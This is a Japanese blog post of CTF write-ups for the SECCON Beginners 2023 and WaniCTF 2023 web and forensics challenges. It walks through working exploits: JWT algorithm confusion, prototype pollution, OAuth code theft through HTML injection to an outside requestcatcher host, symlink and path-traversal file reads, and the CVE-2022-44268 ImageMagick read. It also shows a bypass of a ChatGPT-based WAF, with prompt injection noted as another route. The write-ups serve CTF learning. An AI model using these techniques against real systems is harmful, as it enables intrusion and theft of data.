はまやんはまやんはまやん

hamayanhamayan's blog

SECCON Beginners CTF 2023 Web Writeups

[web] Forbidden

webカテゴリーの問題はソースコードが与えられている場合とそうでない場合がある。
与えられている場合は、環境を動かすより前にソースコードを読んで脆弱性を探すことを勧める。
あと、最近ではdocker, docker-composeを使って1発で環境構築ができるようにしてくれているソースコードも多いので、
配慮に甘えて、docker-composeでさっと起動しておくとよい。
細部を動的に確認するのに使えるし、かつ、負荷のかかりそうな検証は手元環境で済ませておくのがマナーとなる。

さて、今回の問題ではソースコードが用意されているので自分がいつも見る順番で細かく解説してみる。

docker-compose.yml

まず、docker-compose.ymlが用意されているので、それを見ていこう。
詳しい読み方は各自勉強してもらうとして、注目すべき点を抜粋する。

  app:
    build: ./app
    env_file: .env

appサービスとしてappフォルダの中身が使われるようだ。
appフォルダの中にDockerfileがあるので、そこでどういったサービスが動いているかは確認できる。

FROM node:19-alpine
...
CMD ["node", "index.js"]

色々書いてあるが、ファイルコピーなどの付帯的作業で、やりたいことは最後の一行。
index.jsをnodeで起動してwebサービスを起動している。

docker-compose.ymlに戻ると.envファイルが環境変数として読み込まれている。

CTF4B_HOST=0.0.0.0
CTF4B_PORT=8080
CTF4B_FLAG=ctf4b{FAKE_FLAG_DO_NOT_SUBMIT}

webサーバーはポートは8080でリッスン(待っている)していて、「環境変数CTF4B_FLAGに回答すべきフラグがある」ようだ。
webサーバーの詳しい中身は後で見てみるとして、docker-compose.ymlに戻ろう。

  nginx:
    build: ./nginx
    volumes:
      - /etc/seccon/_.beginners.seccon.games.crt:/etc/nginx/certs/server.crt:ro
      - /etc/seccon/_.beginners.seccon.games.key:/etc/nginx/certs/server.key:ro
    ports:
      - 80:80
      - 443:443

nginxを起動している。
portsが指定されているので、ポート80,443で接続したときはまずnginxで処理が始まる。
nginxはリバースプロキシのためのアプリケーションであり、これを使って別途立ち上がっているwebサービスにリクエストを中継しているとみられる。
つまり、「ユーザー -> nginx -> app」という通信経路になる。
あと、https用に証明書周りも渡されている。

nginx

nginxはnginx.confに設定が書いてあるので、それを読んでいく。

http {
    server {
        listen 80;
        location / {
            proxy_pass http://app:8080;
        }
    }
}

80でリッスンしていて、そこに来たリクエストをhttp://app:8080に中継する。
appはdocker-composeでの表記と連動していて、このように便利に書ける。
他にも色々書いてあるが、特に目立つような設定はなされていない。

app

ここが本丸。
index.jsを見てみる。
色々抜粋しながら見ていこう。(順番は説明用に改変してます)

var express = require("express");
var app = express();

const HOST = process.env.CTF4B_HOST;
const PORT = process.env.CTF4B_PORT;

var server = app.listen(PORT, HOST, () => {
    console.log("Listening:" + server.address().port);
});

expressというエンジンを使ってwebサーバーを立ち上げている。
環境変数からポートとホストを持ってきてサーバー立ち上げに使用している。

app.get("/", (req, res, next) => {
    return res.send('FLAG はこちら: <a href="/flag">/flag</a>');
});

https://forbidden.beginners.seccon.games/webブラウザで開いたときの応答が記載してある。
もう少し具体的にはwebサーバーに対して/に対してGETリクエストをしたとき(GET /と雑にいつも自分は書いているが)の応答。
このリクエストは決まった応答を返すことしかしていないので特に怪しい所はない。

const FLAG = process.env.CTF4B_FLAG;

const block = (req, res, next) => {
    if (req.path.includes('/flag')) {
        return res.send(403, 'Forbidden :(');
    }

    next();
}

app.get("/flag", block, (req, res, next) => {
    return res.send(FLAG);
})

ここが特に気になる部分。
GET /flagでフラグが手に入りそうだが、blockに入っている関数が先に呼ばれるようになっている。
(Express でのルーティングのルート・ハンドラー参照)
ここを見るとパスに/flagが含まれていると403応答になって、フラグが手に入る return res.send(FLAG); まで到達しないようになっている。
つまり、https://forbidden.beginners.seccon.games/flagでフラグが手に入りそうではあるのだが、blockによってそれができないようになっている。

脆弱性は?

明らかな脆弱性はないように見えるので、攻撃できそうなシナリオを想定して攻めてみよう。
今回はblockの判定を何とか回避できないかを考えてみる。
ここからは正直経験則からアイデアをいくつか持ってきて試す感じになる。
よくある回避方法テクの1つとして大文字小文字を使う方法があり、実際に成功する。
強いて言うなら、このようなブラックリスト方式でのフィルタリング自体が非推奨というか脆弱点というかという風に言えるかもしれない。

String.prototype.includes() - JavaScript | MDN includesは大文字小文字を区別するようだ。 node.jsで試してみる。

$ node
> 'https://forbidden.beginners.seccon.games/flag'.includes('/flag')
true
> 'https://forbidden.beginners.seccon.games/FLAG'.includes('/flag')
false

区別してますね。

では、express側はどうだろうか。
Express routingをみるとpath-to-regexpを使ってパスの判定をしている。
pillarjs/path-to-regexp: Turn a path string such as /user/:name into a regular expression
Readme.mdを見てみるとsensitive When true the regexp will be case sensitive. (default: false)のように記載がある。
Expressで使われ方を見てみると、
express/layer.js at f540c3b0195393974d4875a410f4c00a07a2ab60 · expressjs/express
ここでthis.regexp = pathRegexp(path, this.keys = [], opts);のように呼ばれている。
もうちょっと辿ると
express/route.js at f540c3b0195393974d4875a410f4c00a07a2ab60 · expressjs/express
var layer = Layer('/', {}, handle);と呼ばれていて、opts部分は{}が入っているので、デフォルトのcase insensitiveが採用され、大文字でも小文字でもOKであることがわかる。
(app.useの場合はcaseSensitive?)

ということで、

  • String.prototype.includes()は大文字小文字を区別する
  • app.getのpathは大文字小文字を区別しない

という仕様の差があるのでこれを利用して、フィルタリングを回避できる。具体的には'GET /FLAG'でアクセスすればいい。
これを使うと、

  • String.prototype.includes()は大文字小文字を区別するので、/flagには該当せずブロックされない
  • app.getのpathは大文字小文字を区別しないので、/flagのフローに入り正しく処理される

という感じになり、フラグが手に入る。

まとめ

なので、'https://forbidden.beginners.seccon.games/FLAG'でフラグ獲得。
今回はとても細かく大文字小文字が区別されるかを確認してからフラグ獲得したが、コンテスト中は時間が無いので普通にガチャガチャ試してみるだけでよい。
しかし、このような公式ドキュメントを辿ったり、実際の実装を確認しないと攻撃の糸口が見つけられないことも多くあるため、
やり方としては覚えておく方がいいと思う。

[web] aiwaf

ユーザー入力された文字列をChatGPTに渡してパストラバーサル攻撃と判定されれば弾いて、
そうでなければ入力を使ってパストラバーサル可能なファイル読込に渡すことができる。
ソースコードが与えられているので、抜粋しよう。

...
@app.route("/")
def top():
    file = request.args.get("file")
...
    puuid = uuid.uuid4()
    prompt = f"""\
以下の{puuid}に囲まれた部分のURLクエリはパストラバーサル攻撃でしょうか?
そうである場合Yesを、違う場合Noを返してください。
../やflagという文字列が含まれていた場合もYesを返してください。

{puuid}
{urllib.parse.unquote(request.query_string)[:50]}
{puuid}
"""
...
    if "No" in result:
        with open(f"./books/{file}", encoding="utf-8") as f:
            return f.read().replace(KEY, "")

注目すべき点は最終的に使われる値とAI-WAFに渡される文字列が異なる抜き出し方がされている所である。

  • パストラバーサル攻撃に使われるのは request.args.get("file")
  • AI-WAFが判定に使うのは urllib.parse.unquote(request.query_string)[:50]

普通にやると両者は同じになるが、?dummy=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&file=../flagのようにやれば、

  • パストラバーサル攻撃に使われるのは ../flag
  • AI-WAFが判定に使うのは dummy=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

のようにできて判定をうまくかわせる。

なので、
https://aiwaf.beginners.seccon.games/?dummy=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&file=../flag
とするとフラグ獲得。
フラグを見るとプロンプトインジェクションができるようで、50文字制限があるので恐らく高難易度解法だろう。 ちょっと試してみたが、見つからなかった…

[web] double check

ソースコードが与えられているので怪しそうな点を列挙していこう。

  • index.js
    • user.admin = true;はadminユーザーならついて、そうでないならuser.adminは未定義になる
    • JWTの署名検証だが、署名時はRS256で署名していて、検証時はRS256/HS256とHS256も許可している
    • 78行目~88行目の回りくどさが気になる

任意のJWT作成

配布ファイルをよく見るとprivate.keyはdummyになっているが、public.keyはそれっぽい情報が入っている。
このファイルがサーバ上でも共有だと仮定し、かつ、検証でHS256が許可されていると仮定すると任意のJWTが作成できそうである。
検証後のJWTの内容のverifiedは最終的にtokenとuserにマージされるので、{'admin':true}をJWTに入れてみよう。

POST /flag HTTP/1.1
Host: double-check.beginners.seccon.games
Connection: close
Content-Type: application/json
Content-Length: 0
Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhZG1pbiI6dHJ1ZX0.8jxvy4SLmbsL2IAESZLUbuRKukxhsoWUGliWLyiU0M0
ETag: W/"10-/VnJyQBB0+b7i4NY83P42KKVWsM"
Cookie: connect.sid=s%3ACq7mqz6wTCXdIqrtC5p-pQDnkvmLC3u3.6gvckWa8BQTirSRYvD0zYdL4Rlpw1mE93%2F2H6oNoetM

このようなリクエストを投げてみる。
Cookieの情報は以下のようなリスエストを投げた応答を利用する。

POST /register HTTP/1.1
Host: double-check.beginners.seccon.games
Connection: close
Content-Type: application/json
Content-Length: 45

{"username":"evilman","password":"evilman"}

Authorizationはpublic.keyでHS256を使って署名したものを用意する。
自分は3v4Si0N/RS256-2-HS256: JWT Attack to change the algorithm RS256 to HS256を利用して作成した。
プロジェクトを持ってきて$ python3 RS256_2_HS256_JWT.py '{"admin":true}' public.keyとすればよい。

結果はNo flag for youと帰ってくる。
フラグはもらえなかったが、任意のJWTを受け付けてもらえる状態までは行った。

フィルタリング機構の回避

以下のような機構となっていて、フラグがもらえなかった。

  if (req.session.user.username !== "admin" || req.session.user.password !== getAdminPassword()) {
    verified = _.omit(verified, ["admin"]);
  }

  const token = Object.assign({}, verified);
  const user = Object.assign(req.session.user, verified);

  if (token.admin && user.admin) {
    res.send(`Congratulations! Here"s your flag: ${FLAG}`);
    return;
  }

セッションに残るユーザー名を検証してadminのユーザー名パスワードでなければlodashを使ってadminプロパティがverifiedから削除される。
よって、その後token,userに追加されてもちゃんと入らなかった。

adminでちゃんとログインするのはかなり難しそうなので、何とか消されない方針を考える。
verifiedでadmin検証をすればよさそうだが、わざわざObject.assignを利用している所に隙がある。

adminユーザー出ない場合はadminプロパティが未定義になるという所と、Object.assignから来る既視感を利用して、Prototype Pollutionがアイデアとして出た。
特に何も考えずにJWTのpayloadを{"__proto__":{"admin":true}}に変更するとフラグが出てくる。
合っていたようだ。

Prototype Pollution

(時間があれば流れを解説。すぐはっきり示せると思っていたが、時間切れ。とりあえず出す)

[web] phisher2

入力を送ると以下のような流れを経るサイトがある。

  1. input_textを<p style="font-size:30px">{text}</p>のようにタグで包んでselenium経由でchrome上で表示してスクリーンショットを取る
  2. スクリーンショットをpyocrにかけて表示されている文字列をOCRで取得してきて、ocr_urlを作る
  3. input_textとocr_urlについて、find_url_in_text関数で先頭からURLっぽいものを取り出してきて再代入する
  4. ocr_urlの先頭がAPP_URL(=https://phisher2.beginners.seccon.games/)と一致しているか確認し、一致していないなら終了
  5. input_textの末尾に?flag={FLAG}をくっつけてGETリクエス

何が要求事項をまとめると、input_textを自身のURL(というよりドメイン)に向けて、かつocr_urlは手順4の検証をpassするような入力を作りたいという問題。
似たような問題を知っていたので、最初、ユニコードだろうと雑に考えて これとかこれとかで試していたがうまくいかない。
先入観を捨てて脆弱性を洗い出すと解けた。

HTML Injectionできる

上記の手順1についてHTMLタグのインジェクションが可能になっている。
これをうまく活用すれば、それ以前に書かれたタグの内容を上書き表示するような入力が作れる。
今回は最終的にはinput_textに任意のデータの送信先が来るようにしたい。
自分はXSSなどで情報の受け手としてrequestcatcherをよく使っているので、具体的には
https://hamayanhamayan.requestcatcher.com/testみたいなのがinput_textに来るようにしたい。
なので、入力の先頭はhttps://hamayanhamayan.requestcatcher.com/testである必要がある。

だが、このままではocr_urlもこれになってしまうので、ここでHTMLタグを差し込むことを考える。
具体的には以下のような入力を入れる。

https://hamayanhamayan.requestcatcher.com/test</p><p style="position:absolute;left:0;top:0;width:100%;height:100%;background-color:white;font-size:30px">https://phisher2.beginners.seccon.games/

こうすると埋め込み結果は以下のようになる。

<p style="font-size:30px">https://hamayanhamayan.requestcatcher.com/test</p>
<p style="position:absolute;left:0;top:0;width:100%;height:100%;background-color:white;font-size:30px">https://phisher2.beginners.seccon.games/</p>

2個目のpタグのstyleで画面全体に広げて背景白で上書きしているので、最初のpタグの情報が完全に隠れ、2個目のpタグの内容だけ画面上に表示されるような形になる。
これでocr_urlの内容は2個目のpタグの中身に強制させることができる。

これだと手順5のinput_textの末尾にフラグがくっつくとリクエスト段階でエラーになりそうな気もするが、
手順3で先頭からURLを抽出してくる手順があるので、
</p>以降が削除され、https://hamayanhamayan.requestcatcher.com/testがinput_textに残るので問題ない。

[web] oooauth

OAuthが題材の問題。
crawler.jsを見るとadminの認証情報を使って、任意のクエリストリングを使って認証サーバの/authへリクエストしてアクセストークンの取得ができる。
結論から話すとうまくやるとadminユーザーに紐づいた認可コード(code)を窃取することができ、
それを使うと自分のセッションとadminユーザーが紐づきフラグが手に入るというよくある感じになる。
redirect_urlを別の所にして認可コードを盗むのと雰囲気は同じであるが、パズルを頑張る必要がある。

HTML Injection

client/views/index.ejsを見ると、32行目の<li><%- scope %></li>エスケープせず表示している部分がある。
scopeが表示されているが、server/client両者のindex.jsを見てもバリデーションはない。
よって、任意の入力がscopeに入り、最終的にここでHTML Injectionとして顕在化する。
CSPの制約が厳しく、任意のjavascriptコード実行までは至らない。

恐らく想定解法ではここを使うだろうと推測されるので、
redirect_urlを全く別のオリジンに指定することはできないのだろう。
(できてしまえば、ここはいらないので)

CSPの制約があってもmetaタグは使えるのでmetaタグを使って動作確認してみよう。
server側でGET /auth?response_type=code&client_id=oauth-client&redirect_uri=https%3A%2F%2Foooauth.beginners.seccon.games%3A3000%2Fcallback&scopes=%3Cmeta/http-equiv=%22refresh%22content=%220;URL=https://[yours].requestcatcher.com/test%22%3Eを表示する。
するとserver/views/report.ejsを使って表示がされるので正しくエスケープされてmetaタグは発動しない。
だが、この状態で既知の認証情報guest:guestを使ってapprove作業をすると、client側でGET /callback?code=6a1ba77a7c4f723f8a53517802afe286のような感じで呼ばれて、その応答にscopesの内容が含まれて、
metaタグが実行されて遷移する。

この時重要なこととして、requestcatcherの応答ログを見てみると、Refererヘッダーに遷移元のURLが載ってきている。
これはtoken漏洩に非常に使えそうである。

redirect_urlの検証不備

redirect_urlはサーバ側のGET /authで渡されたものが使用される。
検証はサーバ側のGET /authGET /tokenで行われる。
だが、どちらも結果的には同じ検証になるので、GET /authだけ以下で見てみよう。

  let redirectUrl;
  try {
    redirectUrl = new URL(redirect_uri);
  } catch(err) {
    res.status(400).json({ error: "invalid_request", error_description: "invalid redirect_uri" });
    return;
  }

  if (!client.redirect_uris.includes(redirectUrl.origin+redirectUrl.pathname)) {
    res.status(400).json({ error: "invalid_request", error_description: "invalid redirect_uri" });
    return;
  }

...

  req.session.redirect_uri = redirect_uri;

URLクラスでパースをして、redirectUrl.origin+redirectUrl.pathnameが元々設定済みのcallback用URLと一致しているかを確認している。
ここで重量なのが、検証ではredirectUrl.origin+redirectUrl.pathnameを使っているのに、セッションへはURLクラスに入れる前のデータを使っているという部分である。
かつ、実際に使用するサーバ側のPOST /approveを見ると

  redirectUrl.searchParams.append("code", code.value);
  res.redirect(redirectUrl.href);

のようにredirectUrl.hrefが使われている。

new URL('https://oooauth.beginners.seccon.games:3000/callback?code=6a1ba77a7c4f723f8a53517802afe286')
URL {
  href: 'https://oooauth.beginners.seccon.games:3000/callback?code=6a1ba77a7c4f723f8a53517802afe286',
  origin: 'https://oooauth.beginners.seccon.games:3000',
  protocol: 'https:',
  username: '',
  password: '',
  host: 'oooauth.beginners.seccon.games:3000',
  hostname: 'oooauth.beginners.seccon.games',
  port: '3000',
  pathname: '/callback',
  search: '?code=6a1ba77a7c4f723f8a53517802afe286',
  searchParams: URLSearchParams { 'code' => '6a1ba77a7c4f723f8a53517802afe286' },
  hash: ''
}

パース結果を見ると分かるように、検証で使っているredirectUrl.origin+redirectUrl.pathnameと、
実際に使われているredirectUrl.hrefを比較してみるとクエリストリングの有無が関連している。
よって、redirect_urlの検証という観点では、https://oooauth.beginners.seccon.games:3000/callbackであることは検証できているが、「任意のクエリストリングが追加できる」状態になっている。

方針立て

以上2つの脆弱性を使用することで認可コード漏洩の想定シナリオが立つ。
HTML Injectionの章で最終的にGET /callback?code=6a1ba77a7c4f723f8a53517802afe286を踏むことでmetaタグを実行させることができた。かつ、このURLはよくよく見るとredirect_urlの検証不備によってredirect_urlとして指定できる形になっている。
よって、adminにreportする際のredirect_uriをmetaタグで遷移するようにうまく変更することで、redirect_uriにadminユーザーに紐づいたcodeを載せつつ、metaタグを発動させ、Refererヘッダーからadminユーザーに紐づいたcodeを抜くことができる。

実際は以下の手順では動かないが、まずは概要を理解するために手順を記載する。

  1. [攻撃者] サーバ側でGET /auth?response_type=code&client_id=oauth-client&redirect_uri=https%3A%2F%2Foooauth.beginners.seccon.games%3A3000%2Fcallback&scopes=%3Cmeta/http-equiv=%22refresh%22content=%220;URL=https://[yours].requestcatcher.com/test%22%3Eを開く
  2. [攻撃者] この画面でguest:guestを入力し、POST /approveにサブミット
  3. [攻撃者] リダイレクトでクライアント側のGET /callback?code=XXXXXが帰るが、これは入力せずにInterceptして通信をDropする。ここでcodeを使ってしまうと、adminに踏ませることができない
  4. [攻撃者] サーバ側のPOST /report?response_type=code&client_id=oauth-client&redirect_uri=https%3A%2F%2Foooauth.beginners.seccon.games%3A3000%2Fcallback%3Fcode%3DXXXXX&scopes=xを送る ==== ここからcrawler.js ====
  5. [admin] 送られたクエリストリングを使ってサーバ側でGET /auth?response_type=code&client_id=oauth-client&redirect_uri=https%3A%2F%2Foooauth.beginners.seccon.games%3A3000%2Fcallback%3Fcode%3DXXXXX&scopes=xを開く
  6. [admin] adminの認証情報を入力し、POST /approveにサブミット
  7. [admin] 新規codeとしてYYYYYが発行されたとすると、GET /callback?code=XXXXX&code=YYYYYが呼ばれるので踏む
  8. [admin] ここでcode=XXXXXが使用されたとすると、XXXXXに紐づくscopesはmetaタグのものなのでHTML Injectionが発動し、応答のRefererヘッダーを見るとcode=YYYYYが取得でき、認可コードが漏洩する。 ==== ここから攻撃者 ====
  9. [攻撃者] 漏洩したcode=YYYYYを使って、GET /callback?code=YYYYYを呼び、自分のセッションとadminのaccess_tokenを紐づける。これで/flagを開くとフラグ獲得

…で解けそうなのだが、実際は複数codeが存在する場合は、/server/index.jsの204行目で

const codeValue = Array.isArray(req.body.code)? req.body.code.slice(-1)[0] : req.body.code;

という感じに最後のcodeが使われるのでうまくいかない。

code=YYYYYを無効化する

この最後に残った課題も工夫をして回避することができる。
expressではクエリストリングは最大1000個までしか使うことができない。
なので、今はredirect_urihttps://oooauth.beginners.seccon.games:3000/callback?code=XXXXXのように1つだけ渡しているのを既に1000個クエリストリングがある状態で渡せばcode=YYYYYは1001個目になるので無視される。
これはある程度うまくいくのだが、https://oooauth.beginners.seccon.games:3000/callback?code=XXXXX<&a×99個>というのをredirect_uriに指定してみるとエラーになる。
失敗箇所はclient/index.jsのaxios.postで呼んでいる部分で、これは受け取ったクエリストリングにgrant_typeとredirect_uriを追加して呼んでいるためで、req.queryにはcode=YYYYYが無視されて1000個入っているが、そこに2つ追加されて1002個になるので失敗していた。
(誰がエラーに落としているかは未調査ですが…)
増えると困るだけなので、aで埋めているうちの2つをgrant_typeとredirect_uriにしてやれば解決する。
よって、redirect_urihttps://oooauth.beginners.seccon.games:3000/callback?code=XXXXX<&a×97個>&grant_type&redirect_uriにすれば全て解決する。
これでcode=XXXXXによってmetaタグが実行され、Refererヘッダーにはcode=YYYYYが載ってくる。

WaniCTF 2023 Writeups

[web] IndexedDB

とりあえずBurp Suiteを開き、サイトを見てみる。
GET /を開いてみると以下のようなjavascriptコードが見て取れる。

window.onload = function () {
    var openRequest = indexedDB.open("testDB");

    openRequest.onupgradeneeded = function () {
    connection = openRequest.result;
    var objectStore = connection.createObjectStore("testObjectStore", {
        keyPath: "name",
    });
    objectStore.put({ name: "FLAG{[redacted]}" });
    };
    ...
}

身も蓋も無い解法だが、これを見るとフラグが書いてあるので、それを答えると正答。

[web] Extract Service 1

officeファイルを与えると、書かれている文字列を抽出して返してくれるアプリ。
ソースコードが与えられているので見てみると、zipとして解凍してテキストを抽出している。
シンボリックを入れることで任意のファイルを読み取ることができないだろうか。

  1. ln -s /flag flagシンボリックリンク作成
  2. zip -ry x.zip flag でzipにする

これを送ってやればいい。
zipの中のどのファイルを表示するかは、POSTのtargetというパラメタで指定可能。

POST / HTTP/1.1
Host: extract1-web.wanictf.org
Content-Length: 457
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary31EmG2GSyMaONPVG
Connection: close

------WebKitFormBoundary31EmG2GSyMaONPVG
Content-Disposition: form-data; name="file"; filename="x.zip"
Content-Type: application/x-zip-compressed

PK
...
------WebKitFormBoundary31EmG2GSyMaONPVG
Content-Disposition: form-data; name="target"

flag
------WebKitFormBoundary31EmG2GSyMaONPVG--

みたいな感じで送ればフラグが得られる。

[web] 64bps

この問題について少し説明をすると、

  • nginx.confのlimit_rate 8; # [web] 8 bytes/s = 64 bps 毎秒8バイトしか送られてこない
  • Dockerfileのdd if=/dev/random of=2gb.txt bs=1M count=2048 && cat flag.txt >> 2gb.txt 2gb.txtの末尾にフラグがあるが、その前に2048MBのゴミデータが入っている

という感じ。
なので、むっちゃ転送速度が遅いのに、フラグが奥の方にあるからどうする?という問題。

色々考えを巡らしたり実験するとRangeヘッダーでフラグを得ることができた。
HTTPリクエストには様々なヘッダーを付与できるが、その中でRangeヘッダーはリソースの取得byte rangeを指定することができるヘッダーになる。
1024×1024×2048は2147483648なので、以下のようなリクエストを送れば先頭のゴミデータを飛ばしてフラグを取得できる。
それでも時間が結構かかるが、気長に待てば送られてくる。

GET /2gb.txt HTTP/1.1
Host: 64bps-web.wanictf.org
Connection: close
Range: bytes=2147483648-

[web] Extract Service 2

パッチが当てられて、拡張子に合わせて開く場所が固定にされている。
指定のパスにシンボリックリンクを張れば問題ない。

docxの場合はword/document.xmlなので、以下のようにやるとフラグが得られる。

  1. mkdir wordとしてcd word
  2. ln -s /flag document.xmlシンボリックリンク作成
  3. cd ../で戻って、zip -ry x.zip word でzipにする

[web] screenshot

スクリーンショットを取ってくれるwebサービスが与えられる。
フラグは/flag.txtにあるので、これを持ってくる。

file://で持ってこれそうだが、以下のようなフィルタリングがかかっている。

if (!req.query.url.includes("http") || req.query.url.includes("file")) {
    res.status(400).send("Bad Request");
    return;
}

前半のhttpはどこにhttpがあってもいいし、後半のfileは小文字しかマッチングされないので、
以下のようにやればフラグが手に入る。

FILE:///http/../flag.txt

[web] certified1

Dockerfileで特定バージョンのImageMagickが置かれているのが特徴的。

ARG MAGICK_URL="https://github.com/ImageMagick/ImageMagick/releases/download/7.1.0-51/ImageMagick--gcc-x86_64.AppImage"

脆弱性情報を調べると日本語記事で良さそうなのが見つかる。

CVE-2022-44268 ImageMagick Arbitrary File Read - shimojubox

ここに書いてある通りにやって/flag_Aを抜き出してみよう。

$ convert -size 500x500 xc:white test.png

$ pngcrush -text a "profile" "/flag_A" test.png read_flag1.png
  Recompressing IDAT chunks in test.png to read_flag1.png
   Total length of data found in critical chunks            =       179
   Best pngcrush method        =   5 (ws 15 fm 1 zl 9 zs 1) =       179
CPU time decode 0.004579, encode 0.007305, other 0.008650, total 0.024044 sec

これで作成したread_flag1.pngをサービスにアップロードして応答を得る。

$ identify -verbose 5025f8fc-e012-4e48-95bc-1a5120173765.png 
Image:
  Filename: 5025f8fc-e012-4e48-95bc-1a5120173765.png
  Format: PNG (Portable Network Graphics)
  Mime type: image/png
  Class: PseudoClass
...
    Raw profile type:

      42
464c4[redacted]17d0a

    signature: c984ee3cffb73bfe6b045d9af5c2cf26f72a8731188e5ac7f911d2ef570c9e6c
...

profile typeとしてhex stringsが記録されているのでCyberChefでデコードするとフラグ獲得。

[web] Lambda

添付ファイルで、Access key ID、Secret access key、Regionが与えられるのでこれを使ってアクセスしてみよう。
AWS CLIを使っていく。

$ aws configure
AWS Access Key ID []: ******************7
AWS Secret Access Key []: ******************3
Default region name []: ap-northeast-1
Default output format [None]:

こんな感じでセットして、コマンドを使っていく。
APIサーバーとしてk0gh2dp2jg.execute-api.ap-northeast-1.amazonaws.comが使われている。
問題名にもあるようにlambdaを探索する。

$ aws lambda list-functions

An error occurred (AccessDeniedException) when calling the ListFunctions operation: User: arn:aws:iam::839865256996:user/SecretUser is not authorized to perform: lambda:ListFunctions on resource: * because no identity-based policy allows the lambda:ListFunctions action

ユーザー名はSecretUser。
ポリシーを確認してみよう。

$ aws iam list-attached-user-policies --user-name SecretUser --query 'AttachedPolicies[].PolicyArn'
[
    "arn:aws:iam::839865256996:policy/WaniLambdaGetFunc",
    "arn:aws:iam::aws:policy/AWSCompromisedKeyQuarantineV2"
]

$ aws iam get-policy --policy-arn arn:aws:iam::839865256996:policy/WaniLambdaGetFunc
{
    "Policy": {
        "PolicyName": "WaniLambdaGetFunc",
        "PolicyId": "ANPA4HC66ZQSAS4EGIKSK",
        "Arn": "arn:aws:iam::839865256996:policy/WaniLambdaGetFunc",
        "Path": "/",
        "DefaultVersionId": "v1",
        "AttachmentCount": 1,
        "PermissionsBoundaryUsageCount": 0,
        "IsAttachable": true,
        "CreateDate": "2023-04-23T01:27:27+00:00",
        "UpdateDate": "2023-04-23T01:27:27+00:00",
        "Tags": []
    }
}

$ aws iam get-policy-version --policy-arn arn:aws:iam::839865256996:policy/WaniLambdaGetFunc --version-id v1
{
    "PolicyVersion": {
        "Document": {
            "Version": "2012-10-17",
            "Statement": [
                {
                    "Sid": "VisualEditor0",
                    "Effect": "Allow",
                    "Action": [
                        "iam:ListPolicies",
                        "iam:GetRole",
                        "iam:GetPolicyVersion",
                        "iam:GetPolicy",
                        "iam:ListAttachedRolePolicies",
                        "iam:ListAttachedUserPolicies",
                        "iam:ListRoles",
                        "apigateway:GET",
                        "iam:ListRolePolicies",
                        "iam:GetRolePolicy"
                    ],
                    "Resource": "*"
                },
                {
                    "Sid": "VisualEditor1",
                    "Effect": "Allow",
                    "Action": "lambda:GetFunction",
                    "Resource": "arn:aws:lambda:ap-northeast-1:839865256996:function:wani_function"
                }
            ]
        },
        "VersionId": "v1",
        "IsDefaultVersion": true,
        "CreateDate": "2023-04-23T01:27:27+00:00"
    }
}

ふむふむ。
関数のARNが分かったし、GetFunctionができるのでソースコードを抜いてこよう。

$ aws lambda get-function --function-name arn:aws:lambda:ap-northeast-1:839865256996:function:wani_function
{
...
    "Code": {
        "RepositoryType": "S3",
        "Location": "https://aw..."
    }
}

Code > Locationにソースコードのダウンロードリンクが乗っているので持ってくる。
WaniCTF_Lambda.dllが落ちてくるのでdnSpyで開くとフラグが書いてある。

[web] certified2

次は環境変数を取得してやる。
docker環境を見てみると/proc/1/environを取ってくればいいと思うのだが、うまくいかない。
改めて調査してみると、kurenaifさんの動画が見つかる。

【ImageMagick】ImageMagickであった情報漏洩の脆弱性を詳しく解説!【cve-2022-44268】【悪用厳禁】 - YouTube

ほー、参考になるなぁ…と思いながら見てみると、疑問で/proc/self/environが取れないかという話をしていて面白すぎる。
lseekを使ってファイルサイズを取得していて、0になるから取得ができていないとのこと。

うーむ、別の怪しい所を探してみると、パストラバーサルあたりの脆弱性が気になる。
色々観察すると、面白い挙動を見つける。
POST /createでファイル名を使ってパストラバーサルをすると特定ファイルを/data/[uuid]/inputとして取り出して来ることができることに気が付く。
ここまで持ってくることができれば前述の脆弱性を使って再度取り出せるので、これを利用することにしよう。

まず、以下のようなリクエストで/proc/1/environを移動させる。

POST /create HTTP/1.1
Host: certified-web.wanictf.org
Content-Length: 209
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarynhRb8NemRluVGlVs
Connection: close

------WebKitFormBoundarynhRb8NemRluVGlVs
Content-Disposition: form-data; name="file"; filename="../../../../../../proc/1/environ"
Content-Type: image/png

hoge
------WebKitFormBoundarynhRb8NemRluVGlVs--

以下のように帰ってきたとする。

HTTP/1.1 500 Internal Server Error
Server: nginx
Date: Sat, 06 May 2023 05:36:43 GMT
Content-Type: text/plain; charset=utf-8
Content-Length: 208
Connection: close

Failed to process image

Caused by:
    image processing failed on ./data/c30bb6ca-63a6-4c9f-ade1-0b3c3fb88a74:
    magick: no decode delegate for this image format `' @ error/constitute.c/ReadImage/741.
    

すると、パストラバーサル先のファイルが/data/c30bb6ca-63a6-4c9f-ade1-0b3c3fb88a74/inputに保存されてくるので、
脆弱性を再度使って、$ pngcrush -text a "profile" "/data/c30bb6ca-63a6-4c9f-ade1-0b3c3fb88a74/input" test.png read_flag2.pngとして
アップロードして出てきたpng画像を$ identify -verbose 0e6a077e-2091-429f-a3c7-13308ee5ede3.pngみたいにすればhex形式のフラグが手に入る。

[forensics] Just_mp4

mp4ファイルが与えられる。
とりあえずexiftoolを試すと面白いものが見つかる。

$ exiftool chall.mp4 
ExifTool Version Number         : 12.57
File Name                       : chall.mp4
...
Publisher                       : flag_base64:[redacted]
Image Size                      : 512x512
...

ok.
これをbase64デコードするとフラグが出てくる。

[forensics] whats_happening

updogというよくわからないファイルが与えられる。
よくわからないファイルにはfileコマンドを試すのが定石。

$ file *
updog: ISO 9660 CD-ROM filesystem data 'ISO Label'

7zipってiso展開できたよな…と思って試してみると成功する。
7z x updogとするとFLAG.pngというのが見つかるので、開くとフラグが書いてある。

[forensics] lowkey_messedup

pcapファイルが与えられる。
USBパケットが記録されているので、とりあえずキーロガーだろうと予測を立てて、
ソルバーを使ってキー入力を抽出してこよう。

どうやってもいいのだが、とりあえず以下のプロジェクトを使って抽出した。
w3irdsh4rk/CTF-Usb_Keyboard_Parser: USB Keyboard Parser Tool is an automated script that can extract HID data from.pcap or.pcapng files.

$ python3 CTF-Usb_Keyboard_Parser/Usb_Keyboard_Parser.py chall.pcap

[+]Using filter "usb.capdata" Retrived HID Data is :

FLAG{[redacted]}

